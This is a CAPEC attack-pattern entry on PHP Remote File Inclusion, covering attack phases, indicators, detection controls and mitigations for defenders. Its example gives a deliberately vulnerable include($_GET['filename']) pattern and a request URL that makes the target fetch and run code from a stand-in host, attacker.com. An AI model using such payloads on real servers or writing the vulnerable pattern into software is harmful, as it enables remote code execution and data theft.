Home > CAPEC List > CAPEC-193: PHP Remote File Inclusion (Version 2.9)  

CAPEC-193: PHP Remote File Inclusion

 
PHP Remote File Inclusion
Definition in a New Window Definition in a New Window
Attack Pattern ID: 193
Abstraction: Detailed
Status: Draft
Completeness: Complete
Presentation Filter:
+ Summary

In this pattern the attacker is able to load and execute arbitrary code remotely available from the application. This is usually accomplished through an insecurely configured PHP runtime environment and an improperly sanitized "include" or "require" call, which the user can then control to point to any web-accessible file. This allows attackers to hijack the targeted application and force it to execute their own instructions.

+ Attack Execution Flow
Explore
  1. Survey application:

    Using a browser or an automated tool, an attacker follows all public links on a web site. He records all the links he finds.

    Attack Step Techniques

    IDAttack Step Technique DescriptionEnvironments
    1

    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.

    env-Web
    2

    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.

    env-Web
    3

    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.

    env-Web

    Indicators

    IDTypeIndicator DescriptionEnvironments
    1Positive

    URL parameters are used by the application

    env-Web
    2Inconclusive

    Using URL rewriting, parameters may be part of the URL path.

    env-Web
    3Inconclusive

    No parameters appear on the URL. Even though none appear, the web application may still use them if they are provided.

    env-Web
    4Negative

    Applications that have only static pages or that simply present information without accepting input are unlikely to be susceptible.

    env-Web

    Outcomes

    IDTypeOutcome Description
    1Success
    A list of URLs, with their corresponding parameters is created by the attacker.

    Security Controls

    IDTypeSecurity Control Description
    1Detective
    Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them).
    2Detective
    Create links on some pages that are visually hidden from web browsers. Using iframes, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application.
    3Preventative
    Use CAPTCHA to prevent the use of the application by an automated tool.
    4Preventative
    Actively monitor the application and either deny or redirect requests from origins that appear to be automated.
Experiment
  1. Attempt variations on input parameters:

    The attack variants make use of a remotely available PHP script that generates a uniquely identifiable output when executed on the target application server. Possibly using an automated tool, an attacker requests variations on the inputs he surveyed before. He sends parameters that include variations of payloads which include a reference to the remote PHP script. He records all the responses from the server that include the output of the execution of remote PHP script.

    Attack Step Techniques

    IDAttack Step Technique DescriptionEnvironments
    1

    Use a list of probe strings to inject in parameters of known URLs. The probe strings are variants of PHP remote file inclusion payloads which include a reference to the attackers' controlled remote PHP script.

    env-Web
    2

    Use a proxy tool to record results of manual input of remote file inclusion probes in known URLs.

    env-Web

    Indicators

    IDTypeIndicator DescriptionEnvironments
    1Positive

    The output of the remote PHP script is included in the response web page.

    env-Web
    2Inconclusive

    Nothing is returned to the web page. The payload script might have been executed in a different context which wouldn't be included in the response web page

    env-Web
    3Negative

    The application returns an error associated with the inclusion of remote file.

    env-All
    4Negative

    The application server doesn't download the remote PHP script.

    env-All

    Outcomes

    IDTypeOutcome Description
    1Success
    The attacker's script is being executed on the application server and an output is being delivered at some point in the web site (if not on the same web page)
    2Inconclusive
    The remote PHP script doesn't appear to have been executed by the application server. It is possible to create behaviors to monitor the execution such as, for example, the remote PHP script tries to make an HTTP request to an attacker controlled web server, and therefore if the remote PHP script is executed on the application server, the attacker would have evidence in the access log file of his web server.
    3Failure
    No access to the remote PHP script has been recorded to the access log file of the web server hosting this script

    Security Controls

    IDTypeSecurity Control Description
    1Detective
    Monitor input to web servers, application servers, and other HTTP infrastructure (e.g., load balancers). Alert on standard Remote File Inclusion (RFI) probes. The majority of attackers use well-known strings to check for vulnerabilities. Use the same vulnerability catalogs that adversaries use.
    2Preventative
    Apply appropriate input validation to filter all user-controllable input
    3Preventative
    When possible, configure the PHP runtime environment to prevent the execution of remote PHP scripts
    4Preventative
    Actively monitor the application and either deny or redirect requests from origins that appear to be generating RFI probes.
    5Preventative
    When possible, only use the "include", "require", etc. PHP directives with statically define strings
Exploit
  1. Run arbitrary server-side code:

    As the attacker succeeds in exploiting the vulnerability, he is able to execute server-side code within the application. The malicious code has virtual access to the same resources as the targeted application. Note that the attacker might include shell code in his script and execute commands on the server under the same privileges as the PHP runtime is running with.

    Attack Step Techniques

    IDAttack Step Technique DescriptionEnvironments
    1

    Develop malicious PHP script that is injected through vectors identified during the Experiment Phase and executed by the application server to execute a custom PHP script.

    env-All

    Outcomes

    IDTypeOutcome Description
    1Success
    The attacker's script is being executed on the application server

    Security Controls

    IDTypeSecurity Control Description
    1Detective
    Monitor server logs for parameters containing URL with references to remote content
    2Preventative
    Apply appropriate input validation to filter all user-controllable input
    3Preventative
    When possible, configure the PHP runtime environment to prevent the execution of remote PHP scripts
    4Preventative
    When possible, only use the "include", "require", etc. PHP directives with statically define strings
+ Attack Prerequisites
  • Target application server must allow remote files to be included in the "require", "include", etc. PHP directives

+ Typical Severity

High

+ Typical Likelihood of Exploit

Likelihood: High

+ Methods of Attack
  • Injection
+ Examples-Instances

Description

  • The attacker controls a PHP script on a server "http://attacker.com/rfi.txt"
  • The .txt extension is given so that the script doesn't get executed by the attacker.com server, and it will be downloaded as text. The target application is vulnerable to PHP remote file inclusion as following: include($_GET['filename'] . '.txt')
  • The attacker creates an HTTP request that passes his own script in the include: http://example.com/file.php?filename=http://attacker.com/rfi with the concatenation of the ".txt" prefix, the PHP runtime download the attack's script and the content of the script gets executed in the same context as the rest of the original script.
+ Attacker Skills or Knowledge Required

Skill or Knowledge Level: Low

To inject the malicious payload in a web page

Skill or Knowledge Level: Medium

To bypass filters in the application

+ Resources Required

Ability to send HTTP request to a web application Ability to store PHP scripts on a server

+ Solutions and Mitigations

Implementation: Perform input validation for all remote content, including remote and user-generated content

Implementation: Only allow known files to be included (whitelist)

Implementation: Make use of indirect references passed in URL parameters instead of file names

Configuration: Ensure that remote scripts cannot be include in the "include" or "require" PHP directives

+ Attack Motivation-Consequences
ScopeTechnical ImpactNote
Integrity
Modify files or directories
Confidentiality
Read files or directories
Integrity
Modify application data
Confidentiality
Read application data
Authorization
Execute unauthorized code or commands
Run Arbitrary Code
Accountability
Authentication
Authorization
Non-Repudiation
Gain privileges / assume identity
Access_Control
Authorization
Bypass protection mechanism
+ Injection Vector

Any HTTP Request transport variables (GET, POST, etc.)

+ Activation Zone

Application server running PHP where the script is executed

+ Payload Activation Impact

Application server may be used to steal information such as code, create custom queries to the databases, etc. Since the attackers' script runs within the same context as the application it is injected in, it has virtually the same capabilities.

+ Purposes
  • Exploitation
  • Penetration
+ CIA Impact
Confidentiality Impact: HighIntegrity Impact: HighAvailability Impact: High
+ Technical Context
Architectural Paradigms
Client-Server
SOA
Frameworks
All
Platforms
All
Languages
PHP
+ References
[R.193.1] [REF-1] "WASC Threat Classification 2.0". WASC-05 - Remote File Inclusion. The Web Application Security Consortium (WASC). 2010. <http://projects.webappsec.org/Remote-File-Inclusion>.
[R.193.2] Shaun Clowes. "A Study In Scarlet, Exploiting Common Vulnerabilities in PHP Applications". Blackhat Briefings Asia 2001. <http://www.securereality.com.au/studyinscarlet.txt>.
[R.193.3] [REF-8] "OWASP Top 10". Top 10 2007 - Malicious File Execution. 2007. The Open Web Application Security Project (OWASP). <http://www.owasp.org/index.php/Top_10_2007-A3>.
+ Content History
Submissions
SubmitterOrganizationDateSource
CAPEC Content TeamThe MITRE Corporation2014-06-23Internal_CAPEC_Team

More information is available — Please select a different filter.
Page Last Updated or Reviewed: December 07, 2015